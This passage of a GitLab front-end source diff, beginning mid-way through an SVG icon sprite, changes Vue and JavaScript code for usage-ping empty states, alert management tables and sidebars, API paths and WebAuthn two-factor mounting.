2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2m7 1.5V9h5.5L13 3.5M7 13l1.5 7h2l1.5-3 1.5 3h2l1.5-7h1v-2h-4v2h1l-.9 4.2L13 15h-2l-1.1 2.2L9 13h1v-2H6v2h1z" fill="#01579b"/></symbol><symbol viewBox="0 0 24 24" id="xaml" xmlns="http://www.w3.org/2000/svg"><path d="M18.93 12l-3.47 6H8.54l-3.47-6 3.47-6h6.92l3.47 6m4.84 0l-4.04 7L18 18l3.46-6L18 6l1.73-1 4.04 7M.23 12l4.04-7L6 6l-3.46 6L6 18l-1.73 1-4.04-7z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="xml" xmlns="http://www.w3.org/2000/svg"><path d="M13 9h5.5L13 3.5V9M6 2h8l6 6v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m.12 13.5l3.74 3.74 1.42-1.41-2.33-2.33 2.33-2.33-1.42-1.41-3.74 3.74m11.16 0l-3.74-3.74-1.42 1.41 2.33 2.33-2.33 2.33 1.42 1.41 3.74-3.74z" fill="#8bc34a"/></symbol><symbol viewBox="0 0 24 24" id="yaml" xmlns="http://www.w3.org/2000/svg"><path d="M5 3h2v2H5v5a2 2 0 0 1-2 2 2 2 0 0 1 2 2v5h2v2H5c-1.07-.27-2-.9-2-2v-4a2 2 0 0 0-2-2H0v-2h1a2 2 0 0 0 2-2V5a2 2 0 0 1 2-2m14 0a2 2 0 0 1 2 2v4a2 2 0 0 0 2 2h1v2h-1a2 2 0 0 0-2 2v4a2 2 0 0 1-2 2h-2v-2h2v-5a2 2 0 0 1 2-2 2 2 0 0 1-2-2V5h-2V3h2m-7 12a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m-4 0a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m8 0a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1z" fill="#f44336"/></symbol><symbol viewBox="0 0 24 24" id="yang" xmlns="http://www.w3.org/2000/svg"><path d="M12 2a10 10 0 0 1 10 10 10 10 0 0 1-10 10A10 10 0 0 1 2 12 10 10 0 0 1 12 2m0 2a8 8 0 0 0-8 8 8 8 0 0 0 8 8 4 4 0 0 1-4-4 4 4 0 0 1 4-4 4 4 0 0 0 4-4 4 4 0 0 0-4-4m0 2.5A1.5 1.5 0 0 1 13.5 8 1.5 1.5 0 0 1 12 9.5 1.5 1.5 0 0 1 10.5 8 1.5 1.5 0 0 1 12 6.5m0 8a1.5 1.5 0 0 0-1.5 1.5 1.5 1.5 0 0 0 1.5 1.5 1.5 1.5 0 0 0 1.5-1.5 1.5 1.5 0 0 0-1.5-1.5z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 289.99999 290.00001" id="yarn" xmlns="http://www.w3.org/2000/svg"><path d="M250.733 218.418c-12.39 2.943-18.661 5.653-33.993 15.641-24.004 15.487-50.176 22.688-50.176 22.688s-2.168 3.252-8.44 4.723c-10.84 2.633-51.647 4.878-55.364 4.956-9.988.077-16.105-2.555-17.809-6.66-5.188-12.388 7.434-17.809 7.434-17.809s-2.788-1.703-4.414-3.252c-1.471-1.47-3.02-4.413-3.484-3.33-1.936 4.724-2.943 16.261-8.13 21.45-7.125 7.2-20.598 4.8-28.573.619-8.75-4.646.62-15.564.62-15.564s-4.724 2.788-8.518-2.942c-3.407-5.266-6.582-14.248-5.73-25.32 1.084-12.777 15.176-25.011 15.176-25.011s-2.477-18.661 5.653-37.787c7.356-17.422 27.179-31.437 27.179-31.437s-16.648-18.352-10.454-35c4.027-10.84 5.653-10.763 6.97-11.227 4.645-1.781 9.136-3.717 12.466-7.356 16.648-17.964 37.864-14.557 37.864-14.557s9.911-30.431 19.203-24.469c2.865 1.859 13.163 24.778 13.163 24.778s10.996-6.426 12.235-4.026c6.659 12.931 7.433 37.632 4.49 52.654-4.955 24.778-17.344 38.096-22.3 46.459-1.161 1.936 13.319 8.053 22.456 33.373 8.44 23.152.929 42.587 2.245 44.756.232.387.31.542.31.542s9.679.774 29.114-11.228c10.376-6.427 22.688-13.628 36.703-13.783 13.55-.232 14.247 15.719 4.104 18.12z" fill="#2c8ebb" stroke-width=".774"/></symbol><symbol viewBox="0 0 24 24" id="zip" xmlns="http://www.w3.org/2000/svg"><path d="M14 17h-2v-2h-2v-2h2v2h2m0-6h-2v2h2v2h-2v-2h-2V9h2V7h-2V5h2v2h2m5-4H5c-1.11 0-2 .89-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2z" fill="#afb42b"/></symbol></svg>
diff --git a/app/assets/javascripts/admin/application_settings/setup_metrics_and_profiling.js b/app/assets/javascripts/admin/application_settings/setup_metrics_and_profiling.js
index b4803be4d52..f89533aeb1d 100644
--- a/app/assets/javascripts/admin/application_settings/setup_metrics_and_profiling.js
+++ b/app/assets/javascripts/admin/application_settings/setup_metrics_and_profiling.js
@@ -1,8 +1,7 @@
import PayloadPreviewer from '~/pages/admin/application_settings/payload_previewer';
export default () => {
- new PayloadPreviewer(
- document.querySelector('.js-usage-ping-payload-trigger'),
- document.querySelector('.js-usage-ping-payload'),
- ).init();
+ Array.from(document.querySelectorAll('.js-payload-preview-trigger')).forEach(trigger => {
+ new PayloadPreviewer(trigger).init();
+ });
};
diff --git a/app/assets/javascripts/admin/cohorts/components/usage_ping_disabled.vue b/app/assets/javascripts/admin/cohorts/components/usage_ping_disabled.vue
new file mode 100644
index 00000000000..2ea55d44420
--- /dev/null
+++ b/app/assets/javascripts/admin/cohorts/components/usage_ping_disabled.vue
@@ -0,0 +1,48 @@
+<script>
+import { GlEmptyState, GlSprintf, GlLink } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlEmptyState,
+ GlSprintf,
+ GlLink,
+ },
+ inject: {
+ svgPath: {
+ type: String,
+ },
+ docsLink: {
+ type: String,
+ },
+ primaryButtonPath: {
+ type: String,
+ },
+ },
+};
+</script>
+<template>
+ <gl-empty-state
+ class="js-empty-state"
+ :title="__('Activate user activity analysis')"
+ :svg-path="svgPath"
+ :primary-button-text="__('Turn on usage ping')"
+ :primary-button-link="primaryButtonPath"
+ >
+ <template #description>
+ <gl-sprintf
+ :message="
+ __(
+ 'Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}.',
+ )
+ "
+ >
+ <template #docLink="{content}">
+ <gl-link :href="docsLink" target="_blank">{{ content }}</gl-link>
+ </template>
+ <template #strong="{ content }"
+ ><strong>{{ content }}</strong></template
+ >
+ </gl-sprintf>
+ </template>
+ </gl-empty-state>
+</template>
diff --git a/app/assets/javascripts/admin/dev_ops_report/components/usage_ping_disabled.vue b/app/assets/javascripts/admin/dev_ops_report/components/usage_ping_disabled.vue
new file mode 100644
index 00000000000..5429ec403d3
--- /dev/null
+++ b/app/assets/javascripts/admin/dev_ops_report/components/usage_ping_disabled.vue
@@ -0,0 +1,53 @@
+<script>
+import { GlEmptyState, GlSprintf, GlLink, GlButton } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlEmptyState,
+ GlSprintf,
+ GlLink,
+ GlButton,
+ },
+ inject: {
+ isAdmin: {
+ type: Boolean,
+ },
+ svgPath: {
+ type: String,
+ },
+ docsLink: {
+ type: String,
+ },
+ primaryButtonPath: {
+ type: String,
+ },
+ },
+};
+</script>
+<template>
+ <gl-empty-state class="js-empty-state" :title="__('Usage ping is off')" :svg-path="svgPath">
+ <template #description>
+ <gl-sprintf
+ v-if="!isAdmin"
+ :message="
+ __(
+ 'To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}.',
+ )
+ "
+ >
+ <template #docLink="{content}">
+ <gl-link :href="docsLink" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ <template v-else
+ ><p>
+ {{ __('Turn on usage ping to review instance-level analytics.') }}
+ </p>
+
+ <gl-button category="primary" variant="success" :href="primaryButtonPath">
+ {{ __('Turn on usage ping') }}</gl-button
+ >
+ </template>
+ </template>
+ </gl-empty-state>
+</template>
diff --git a/app/assets/javascripts/admin/statistics_panel/store/getters.js b/app/assets/javascripts/admin/statistics_panel/store/getters.js
index 2aa34b8f38e..1c1868b5bca 100644
--- a/app/assets/javascripts/admin/statistics_panel/store/getters.js
+++ b/app/assets/javascripts/admin/statistics_panel/store/getters.js
@@ -3,7 +3,6 @@
* and returns an array of the following form:
* [{ key: "forks", label: "Forks", value: 50 }]
*/
-// eslint-disable-next-line import/prefer-default-export
export const getStatistics = state => labels =>
Object.keys(labels).map(key => {
const result = {
diff --git a/app/assets/javascripts/ajax_loading_spinner.js b/app/assets/javascripts/ajax_loading_spinner.js
deleted file mode 100644
index 54e86f329e4..00000000000
--- a/app/assets/javascripts/ajax_loading_spinner.js
+++ /dev/null
@@ -1,34 +0,0 @@
-import $ from 'jquery';
-
-export default class AjaxLoadingSpinner {
- static init() {
- const $elements = $('.js-ajax-loading-spinner');
-
- $elements.on('ajax:beforeSend', AjaxLoadingSpinner.ajaxBeforeSend);
- $elements.on('ajax:complete', AjaxLoadingSpinner.ajaxComplete);
- }
-
- static ajaxBeforeSend(e) {
- e.target.setAttribute('disabled', '');
- const iconElement = e.target.querySelector('i');
- // get first fa- icon
- const originalIcon = iconElement.className.match(/(fa-)([^\s]+)/g)[0];
- iconElement.dataset.icon = originalIcon;
- AjaxLoadingSpinner.toggleLoadingIcon(iconElement);
- $(e.target).off('ajax:beforeSend', AjaxLoadingSpinner.ajaxBeforeSend);
- }
-
- static ajaxComplete(e) {
- e.target.removeAttribute('disabled');
- const iconElement = e.target.querySelector('i');
- AjaxLoadingSpinner.toggleLoadingIcon(iconElement);
- $(e.target).off('ajax:complete', AjaxLoadingSpinner.ajaxComplete);
- }
-
- static toggleLoadingIcon(iconElement) {
- const { classList } = iconElement;
- classList.toggle(iconElement.dataset.icon);
- classList.toggle('fa-spinner');
- classList.toggle('fa-spin');
- }
-}
diff --git a/app/assets/javascripts/alert_handler.js b/app/assets/javascripts/alert_handler.js
new file mode 100644
index 00000000000..8fffb61d1dd
--- /dev/null
+++ b/app/assets/javascripts/alert_handler.js
@@ -0,0 +1,13 @@
+// This allows us to dismiss alerts that we've migrated from bootstrap
+// Note: This ONLY works on alerts that are created on page load
+// You can follow this effort in the following epic
+// https://gitlab.com/groups/gitlab-org/-/epics/4070
+
+export default function initAlertHandler() {
+ const ALERT_SELECTOR = '.gl-alert';
+ const CLOSE_SELECTOR = '.gl-alert-dismiss';
+
+ const dismissAlert = ({ target }) => target.closest(ALERT_SELECTOR).remove();
+ const closeButtons = document.querySelectorAll(`${ALERT_SELECTOR} ${CLOSE_SELECTOR}`);
+ closeButtons.forEach(alert => alert.addEventListener('click', dismissAlert));
+}
diff --git a/app/assets/javascripts/alert_management/components/alert_details.vue b/app/assets/javascripts/alert_management/components/alert_details.vue
index 5d260fcc200..c6605452616 100644
--- a/app/assets/javascripts/alert_management/components/alert_details.vue
+++ b/app/assets/javascripts/alert_management/components/alert_details.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import * as Sentry from '@sentry/browser';
import {
GlAlert,
@@ -9,7 +10,6 @@ import {
GlTabs,
GlTab,
GlButton,
- GlTable,
} from '@gitlab/ui';
import { s__ } from '~/locale';
import alertQuery from '../graphql/queries/details.query.graphql';
@@ -27,6 +27,7 @@ import { toggleContainerClasses } from '~/lib/utils/dom_utils';
import SystemNote from './system_notes/system_note.vue';
import AlertSidebar from './alert_sidebar.vue';
import AlertMetrics from './alert_metrics.vue';
+import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
const containerEl = document.querySelector('.page-with-contextual-sidebar');
@@ -42,18 +43,19 @@ export default {
tabsConfig: [
{
id: 'overview',
- title: s__('AlertManagement|Overview'),
- },
- {
- id: 'fullDetails',
title: s__('AlertManagement|Alert details'),
},
{
id: 'metrics',
title: s__('AlertManagement|Metrics'),
},
+ {
+ id: 'activity',
+ title: s__('AlertManagement|Activity feed'),
+ },
],
components: {
+ AlertDetailsTable,
GlBadge,
GlAlert,
GlIcon,
@@ -62,7 +64,6 @@ export default {
GlTab,
GlTabs,
GlButton,
- GlTable,
TimeAgoTooltip,
AlertSidebar,
SystemNote,
@@ -330,32 +331,17 @@ export default {
</div>
<div class="gl-pl-2" data-testid="runbook">{{ alert.runbook }}</div>
</div>
- <template>
- <div v-if="alert.notes.nodes" class="issuable-discussion py-5">
- <ul class="notes main-notes-list timeline">
- <system-note v-for="note in alert.notes.nodes" :key="note.id" :note="note" />
- </ul>
- </div>
- </template>
+ <alert-details-table :alert="alert" :loading="loading" />
</gl-tab>
<gl-tab :data-testid="$options.tabsConfig[1].id" :title="$options.tabsConfig[1].title">
- <gl-table
- class="alert-management-details-table"
- :items="[{ key: 'Value', ...alert }]"
- :show-empty="true"
- :busy="loading"
- stacked
- >
- <template #empty>
- {{ s__('AlertManagement|No alert data to display.') }}
- </template>
- <template #table-busy>
- <gl-loading-icon size="lg" color="dark" class="mt-3" />
- </template>
- </gl-table>
+ <alert-metrics :dashboard-url="alert.metricsDashboardUrl" />
</gl-tab>
<gl-tab :data-testid="$options.tabsConfig[2].id" :title="$options.tabsConfig[2].title">
- <alert-metrics :dashboard-url="alert.metricsDashboardUrl" />
+ <div v-if="alert.notes.nodes.length > 0" class="issuable-discussion">
+ <ul class="notes main-notes-list timeline">
+ <system-note v-for="note in alert.notes.nodes" :key="note.id" :note="note" />
+ </ul>
+ </div>
</gl-tab>
</gl-tabs>
<alert-sidebar
diff --git a/app/assets/javascripts/alert_management/components/alert_management_table.vue b/app/assets/javascripts/alert_management/components/alert_management_table.vue
index 92fd85c6217..0fd00fe90eb 100644
--- a/app/assets/javascripts/alert_management/components/alert_management_table.vue
+++ b/app/assets/javascripts/alert_management/components/alert_management_table.vue
@@ -1,8 +1,12 @@
<script>
+/* eslint-disable vue/no-v-html */
import {
GlLoadingIcon,
GlTable,
GlAlert,
+ GlAvatarsInline,
+ GlAvatarLink,
+ GlAvatar,
GlIcon,
GlLink,
GlTabs,
@@ -11,6 +15,7 @@ import {
GlPagination,
GlSearchBoxByType,
GlSprintf,
+ GlTooltipDirective,
} from '@gitlab/ui';
import { debounce, trim } from 'lodash';
import { __, s__ } from '~/locale';
@@ -35,6 +40,7 @@ const tdClass =
const thClass = 'gl-hover-bg-blue-50';
const bodyTrClass =
'gl-border-1 gl-border-t-solid gl-border-gray-100 gl-hover-bg-blue-50 gl-hover-cursor-pointer gl-hover-border-b-solid gl-hover-border-blue-200';
+const TH_TEST_ID = { 'data-testid': 'alert-management-severity-sort' };
const initialPaginationState = {
currentPage: 1,
@@ -55,12 +61,14 @@ export default {
"AlertManagement|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear.",
),
searchPlaceholder: __('Search or filter results...'),
+ unassigned: __('Unassigned'),
},
fields: [
{
key: 'severity',
label: s__('AlertManagement|Severity'),
thClass: `${thClass} gl-w-eighth`,
+ thAttr: TH_TEST_ID,
tdClass: `${tdClass} rounded-top text-capitalize sortable-cell`,
sortable: true,
},
@@ -72,7 +80,7 @@ export default {
sortable: true,
},
{
- key: 'title',
+ key: 'alertLabel',
label: s__('AlertManagement|Alert'),
thClass: `gl-pointer-events-none`,
tdClass,
@@ -110,6 +118,9 @@ export default {
GlLoadingIcon,
GlTable,
GlAlert,
+ GlAvatarsInline,
+ GlAvatarLink,
+ GlAvatar,
TimeAgo,
GlIcon,
GlLink,
@@ -121,6 +132,9 @@ export default {
GlSprintf,
AlertStatus,
},
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
props: {
projectPath: {
type: String,
@@ -264,11 +278,8 @@ export default {
const { category, action, label } = trackAlertStatusUpdateOptions;
Tracking.event(category, action, { label, property: status });
},
- getAssignees(assignees) {
- // TODO: Update to show list of assignee(s) after https://gitlab.com/gitlab-org/gitlab/-/issues/218405
- return assignees.nodes?.length > 0
- ? assignees.nodes[0]?.username
- : s__('AlertManagement|Unassigned');
+ hasAssignees(assignees) {
+ return Boolean(assignees.nodes?.length);
},
getIssueLink(item) {
return joinPaths('/', this.projectPath, '-', 'issues', item.issueIid);
@@ -397,8 +408,14 @@ export default {
{{ item.eventCount }}
</template>
- <template #cell(title)="{ item }">
- <div class="gl-max-w-full text-truncate" :title="item.title">{{ item.title }}</div>
+ <template #cell(alertLabel)="{ item }">
+ <div
+ class="gl-max-w-full text-truncate"
+ :title="`${item.iid} - ${item.title}`"
+ data-testid="idField"
+ >
+ #{{ item.iid }} {{ item.title }}
+ </div>
</template>
<template #cell(issue)="{ item }">
@@ -409,8 +426,32 @@ export default {
</template>
<template #cell(assignees)="{ item }">
- <div class="gl-max-w-full text-truncate" data-testid="assigneesField">
- {{ getAssignees(item.assignees) }}
+ <div data-testid="assigneesField">
+ <template v-if="hasAssignees(item.assignees)">
+ <gl-avatars-inline
+ :avatars="item.assignees.nodes"
+ :collapsed="true"
+ :max-visible="4"
+ :avatar-size="24"
+ badge-tooltip-prop="name"
+ :badge-tooltip-max-chars="100"
+ >
+ <template #avatar="{ avatar }">
+ <gl-avatar-link
+ :key="avatar.username"
+ v-gl-tooltip
+ target="_blank"
+ :href="avatar.webUrl"
+ :title="avatar.name"
+ >
+ <gl-avatar :src="avatar.avatarUrl" :label="avatar.name" :size="24" />
+ </gl-avatar-link>
+ </template>
+ </gl-avatars-inline>
+ </template>
+ <template v-else>
+ {{ $options.i18n.unassigned }}
+ </template>
</div>
</template>
diff --git a/app/assets/javascripts/alert_management/components/alert_status.vue b/app/assets/javascripts/alert_management/components/alert_status.vue
index 8531ca1374e..ff71b348cc9 100644
--- a/app/assets/javascripts/alert_management/components/alert_status.vue
+++ b/app/assets/javascripts/alert_management/components/alert_status.vue
@@ -101,12 +101,12 @@ export default {
@keydown.esc.native="$emit('hide-dropdown')"
@hide="$emit('hide-dropdown')"
>
- <div v-if="isSidebar" class="dropdown-title text-center">
- <span class="alert-title">{{ s__('AlertManagement|Assign status') }}</span>
+ <div v-if="isSidebar" class="dropdown-title gl-display-flex">
+ <span class="alert-title gl-ml-auto">{{ s__('AlertManagement|Assign status') }}</span>
<gl-button
:aria-label="__('Close')"
variant="link"
- class="dropdown-title-button dropdown-menu-close"
+ class="dropdown-title-button dropdown-menu-close gl-ml-auto gl-text-black-normal!"
icon="close"
@click="$emit('hide-dropdown')"
/>
diff --git a/app/assets/javascripts/alert_management/components/sidebar/sidebar_assignees.vue b/app/assets/javascripts/alert_management/components/sidebar/sidebar_assignees.vue
index 4af5c83b30c..0f354e85e96 100644
--- a/app/assets/javascripts/alert_management/components/sidebar/sidebar_assignees.vue
+++ b/app/assets/javascripts/alert_management/components/sidebar/sidebar_assignees.vue
@@ -12,7 +12,7 @@ import {
} from '@gitlab/ui';
import { debounce } from 'lodash';
import axios from '~/lib/utils/axios_utils';
-import { s__, __ } from '~/locale';
+import { s__ } from '~/locale';
import alertSetAssignees from '../../graphql/mutations/alert_set_assignees.mutation.graphql';
import SidebarAssignee from './sidebar_assignee.vue';
@@ -82,8 +82,11 @@ export default {
userName() {
return this.alert?.assignees?.nodes[0]?.username;
},
- assignedUser() {
- return this.userName || __('None');
+ userFullName() {
+ return this.alert?.assignees?.nodes[0]?.name;
+ },
+ userImg() {
+ return this.alert?.assignees?.nodes[0]?.avatarUrl;
},
sortedUsers() {
return this.users
@@ -184,15 +187,15 @@ export default {
</script>
<template>
- <div class="block alert-status">
- <div ref="status" class="sidebar-collapsed-icon" @click="$emit('toggle-sidebar')">
+ <div class="block alert-assignees ">
+ <div ref="assignees" class="sidebar-collapsed-icon" @click="$emit('toggle-sidebar')">
<gl-icon name="user" :size="14" />
<gl-loading-icon v-if="isUpdating" />
</div>
- <gl-tooltip :target="() => $refs.status" boundary="viewport" placement="left">
+ <gl-tooltip :target="() => $refs.assignees" boundary="viewport" placement="left">
<gl-sprintf :message="$options.i18n.ASSIGNEES_BLOCK">
<template #assignees>
- {{ assignedUser }}
+ {{ userName }}
</template>
</gl-sprintf>
</gl-tooltip>
@@ -215,19 +218,19 @@ export default {
<div class="dropdown dropdown-menu-selectable" :class="dropdownClass">
<gl-deprecated-dropdown
ref="dropdown"
- :text="assignedUser"
+ :text="userName"
class="w-100"
toggle-class="dropdown-menu-toggle"
variant="outline-default"
@keydown.esc.native="hideDropdown"
@hide="hideDropdown"
>
- <div class="dropdown-title">
- <span class="alert-title">{{ __('Assign To') }}</span>
+ <div class="dropdown-title gl-display-flex">
+ <span class="alert-title gl-ml-auto">{{ __('Assign To') }}</span>
<gl-button
:aria-label="__('Close')"
variant="link"
- class="dropdown-title-button dropdown-menu-close"
+ class="dropdown-title-button dropdown-menu-close gl-ml-auto gl-text-black-normal!"
icon="close"
@click="hideDropdown"
/>
@@ -272,14 +275,28 @@ export default {
</div>
<gl-loading-icon v-if="isUpdating" :inline="true" />
- <p v-else-if="!isDropdownShowing" class="value gl-m-0" :class="{ 'no-value': !userName }">
- <span v-if="userName" class="gl-text-gray-500" data-testid="assigned-users">{{
- assignedUser
- }}</span>
- <span v-else class="gl-display-flex gl-align-items-center">
+ <div v-else-if="!isDropdownShowing" class="value gl-m-0" :class="{ 'no-value': !userName }">
+ <div v-if="userName" class="gl-display-inline-flex gl-mt-2" data-testid="assigned-users">
+ <span class="gl-relative mr-2">
+ <img
+ :alt="userName"
+ :src="userImg"
+ :width="32"
+ class="avatar avatar-inline gl-m-0 s32"
+ data-qa-selector="avatar_image"
+ />
+ </span>
+ <span class="gl-display-flex gl-flex-direction-column gl-overflow-hidden">
+ <strong class="dropdown-menu-user-full-name">
+ {{ userFullName }}
+ </strong>
+ <span class="dropdown-menu-user-username">{{ userName }}</span>
+ </span>
+ </div>
+ <span v-else class="gl-display-flex gl-align-items-center gl-line-height-normal">
{{ __('None') }} -
<gl-button
- class="gl-pl-2"
+ class="gl-ml-2"
href="#"
variant="link"
data-testid="unassigned-users"
@@ -288,7 +305,7 @@ export default {
{{ __('assign yourself') }}
</gl-button>
</span>
- </p>
+ </div>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/alert_management/components/sidebar/sidebar_todo.vue b/app/assets/javascripts/alert_management/components/sidebar/sidebar_todo.vue
index 5bd69a1f0ec..84d54466a10 100644
--- a/app/assets/javascripts/alert_management/components/sidebar/sidebar_todo.vue
+++ b/app/assets/javascripts/alert_management/components/sidebar/sidebar_todo.vue
@@ -1,8 +1,9 @@
<script>
+import produce from 'immer';
import { s__ } from '~/locale';
import Todo from '~/sidebar/components/todo_toggle/todo.vue';
-import createAlertTodo from '../../graphql/mutations/alert_todo_create.mutation.graphql';
-import todoMarkDone from '../../graphql/mutations/alert_todo_mark_done.mutation.graphql';
+import createAlertTodoMutation from '../../graphql/mutations/alert_todo_create.mutation.graphql';
+import todoMarkDoneMutation from '~/graphql_shared/mutations/todo_mark_done.mutation.graphql';
import alertQuery from '../../graphql/queries/details.query.graphql';
export default {
@@ -52,7 +53,7 @@ export default {
},
methods: {
updateToDoCount(add) {
- const oldCount = parseInt(document.querySelector('.todos-count').innerText, 10);
+ const oldCount = parseInt(document.querySelector('.js-todos-count').innerText, 10);
const count = add ? oldCount + 1 : oldCount - 1;
const headerTodoEvent = new CustomEvent('todo:toggle', {
detail: {
@@ -66,7 +67,7 @@ export default {
this.isUpdating = true;
return this.$apollo
.mutate({
- mutation: createAlertTodo,
+ mutation: createAlertTodoMutation,
variables: {
iid: this.alert.iid,
projectPath: this.projectPath,
@@ -89,7 +90,7 @@ export default {
this.isUpdating = true;
return this.$apollo
.mutate({
- mutation: todoMarkDone,
+ mutation: todoMarkDoneMutation,
variables: {
id: this.firstToDoId,
},
@@ -109,12 +110,15 @@ export default {
});
},
updateCache(store) {
- const data = store.readQuery({
+ const sourceData = store.readQuery({
query: alertQuery,
variables: this.getAlertQueryVariables,
});
- data.project.alertManagementAlerts.nodes[0].todos.nodes.shift();
+ const data = produce(sourceData, draftData => {
+ // eslint-disable-next-line no-param-reassign
+ draftData.project.alertManagementAlerts.nodes[0].todos.nodes = [];
+ });
store.writeQuery({
query: alertQuery,
diff --git a/app/assets/javascripts/alert_management/components/system_notes/system_note.vue b/app/assets/javascripts/alert_management/components/system_notes/system_note.vue
index 39717ab609f..0b206ce42f4 100644
--- a/app/assets/javascripts/alert_management/components/system_notes/system_note.vue
+++ b/app/assets/javascripts/alert_management/components/system_notes/system_note.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import NoteHeader from '~/notes/components/note_header.vue';
import { spriteIcon } from '~/lib/utils/common_utils';
@@ -31,7 +32,7 @@ export default {
</script>
<template>
- <li :id="noteAnchorId" class="timeline-entry note system-note note-wrapper">
+ <li :id="noteAnchorId" class="timeline-entry note system-note note-wrapper gl-px-0!">
<div class="timeline-entry-inner">
<div class="timeline-icon" v-html="iconHtml"></div>
<div class="timeline-content">
diff --git a/app/assets/javascripts/alert_management/constants.js b/app/assets/javascripts/alert_management/constants.js
index b9670466c0f..73cb5ecdf98 100644
--- a/app/assets/javascripts/alert_management/constants.js
+++ b/app/assets/javascripts/alert_management/constants.js
@@ -64,4 +64,4 @@ export const trackAlertStatusUpdateOptions = {
label: 'Status',
};
-export const DEFAULT_PAGE_SIZE = 10;
+export const DEFAULT_PAGE_SIZE = 20;
diff --git a/app/assets/javascripts/alert_management/details.js b/app/assets/javascripts/alert_management/details.js
index dccf990f0b4..c2020dfcbe3 100644
--- a/app/assets/javascripts/alert_management/details.js
+++ b/app/assets/javascripts/alert_management/details.js
@@ -1,5 +1,6 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
+import produce from 'immer';
import { defaultDataIdFromObject } from 'apollo-cache-inmemory';
import createDefaultClient from '~/lib/graphql';
import createRouter from './router';
@@ -16,8 +17,11 @@ export default selector => {
const resolvers = {
Mutation: {
toggleSidebarStatus: (_, __, { cache }) => {
- const data = cache.readQuery({ query: sidebarStatusQuery });
- data.sidebarStatus = !data.sidebarStatus;
+ const sourceData = cache.readQuery({ query: sidebarStatusQuery });
+ const data = produce(sourceData, draftData => {
+ // eslint-disable-next-line no-param-reassign
+ draftData.sidebarStatus = !draftData.sidebarStatus;
+ });
cache.writeQuery({ query: sidebarStatusQuery, data });
},
},
@@ -34,6 +38,7 @@ export default selector => {
return defaultDataIdFromObject(object);
},
},
+ assumeImmutableResults: true,
}),
});
diff --git a/app/assets/javascripts/alert_management/graphql/fragments/list_item.fragment.graphql b/app/assets/javascripts/alert_management/graphql/fragments/list_item.fragment.graphql
index c37f29c74fc..62119177887 100644
--- a/app/assets/javascripts/alert_management/graphql/fragments/list_item.fragment.graphql
+++ b/app/assets/javascripts/alert_management/graphql/fragments/list_item.fragment.graphql
@@ -8,7 +8,10 @@ fragment AlertListItem on AlertManagementAlert {
issueIid
assignees {
nodes {
+ name
username
+ avatarUrl
+ webUrl
}
}
}
diff --git a/app/assets/javascripts/alert_management/graphql/mutations/alert_set_assignees.mutation.graphql b/app/assets/javascripts/alert_management/graphql/mutations/alert_set_assignees.mutation.graphql
index 40b4b6ae854..5008bfa5e1b 100644
--- a/app/assets/javascripts/alert_management/graphql/mutations/alert_set_assignees.mutation.graphql
+++ b/app/assets/javascripts/alert_management/graphql/mutations/alert_set_assignees.mutation.graphql
@@ -10,6 +10,9 @@ mutation alertSetAssignees($projectPath: ID!, $assigneeUsernames: [String!]!, $i
assignees {
nodes {
username
+ name
+ avatarUrl
+ webUrl
}
}
notes {
diff --git a/app/assets/javascripts/api.js b/app/assets/javascripts/api.js
index 1d8fb1fc5a6..dbc7ff67d9d 100644
--- a/app/assets/javascripts/api.js
+++ b/app/assets/javascripts/api.js
@@ -20,6 +20,7 @@ const Api = {
projectPath: '/api/:version/projects/:id',
forkedProjectsPath: '/api/:version/projects/:id/forks',
projectLabelsPath: '/:namespace_path/:project_path/-/labels',
+ projectFileSchemaPath: '/:namespace_path/:project_path/-/schema/:ref/:filename',
projectUsersPath: '/api/:version/projects/:id/users',
projectMergeRequestsPath: '/api/:version/projects/:id/merge_requests',
projectMergeRequestPath: '/api/:version/projects/:id/merge_requests/:mrid',
@@ -42,7 +43,6 @@ const Api = {
userPostStatusPath: '/api/:version/user/status',
commitPath: '/api/:version/projects/:id/repository/commits/:sha',
commitsPath: '/api/:version/projects/:id/repository/commits',
-
applySuggestionPath: '/api/:version/suggestions/:id/apply',
applySuggestionBatchPath: '/api/:version/suggestions/batch_apply',
commitPipelinesPath: '/:project_id/commit/:sha/pipelines',
@@ -309,10 +309,12 @@ const Api = {
});
},
- projectMilestones(id) {
+ projectMilestones(id, params = {}) {
const url = Api.buildUrl(Api.projectMilestonesPath).replace(':id', encodeURIComponent(id));
- return axios.get(url);
+ return axios.get(url, {
+ params,
+ });
},
mergeRequests(params = {}) {
diff --git a/app/assets/javascripts/authentication/mount_2fa.js b/app/assets/javascripts/authentication/mount_2fa.js
index 9917151ac81..dd5a42fa5fc 100644
--- a/app/assets/javascripts/authentication/mount_2fa.js
+++ b/app/assets/javascripts/authentication/mount_2fa.js
@@ -1,14 +1,23 @@
import $ from 'jquery';
import initU2F from './u2f';
+import initWebauthn from './webauthn';
import U2FRegister from './u2f/register';
+import WebAuthnRegister from './webauthn/register';
export const mount2faAuthentication = () => {
- // Soon this will conditionally mount a webauthn app (see https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26692)
- initU2F();
+ if (gon.webauthn) {
+ initWebauthn();
+ } else {
+ initU2F();
+ }
};
export const mount2faRegistration = () => {
